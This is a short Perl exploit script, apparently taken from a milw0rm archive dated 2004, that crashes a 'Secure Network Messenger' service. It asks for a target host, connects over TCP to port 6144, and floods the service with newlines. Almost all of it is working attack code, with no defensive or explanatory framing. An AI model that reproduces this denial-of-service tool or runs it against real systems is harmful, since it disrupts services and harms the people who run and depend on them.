24 lines
No EOL
519 B
Perl
Executable file
24 lines
No EOL
519 B
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
use IO::Socket;
|
|
print ("\nSecure Network Messenger Crasher by ClearScreen\n");
|
|
print ("\nEnter host to crash: ");
|
|
$h = <STDIN>;
|
|
chomp $h;
|
|
$socks = IO::Socket::INET->new(
|
|
Proto => "tcp",
|
|
PeerPort => "6144",
|
|
PeerAddr => "$h"
|
|
) or die "\nNo response from host.";
|
|
|
|
sleep 1;
|
|
print "\nSuccesfully connected to $h!\n";
|
|
for ($count=1; $count<15; $count++)
|
|
{
|
|
print $socks "\n";
|
|
select(undef, undef, undef, 0.1);
|
|
}
|
|
print "\nMessenger crashed.";
|
|
close $socks;
|
|
|
|
# milw0rm.com [2004-11-15] |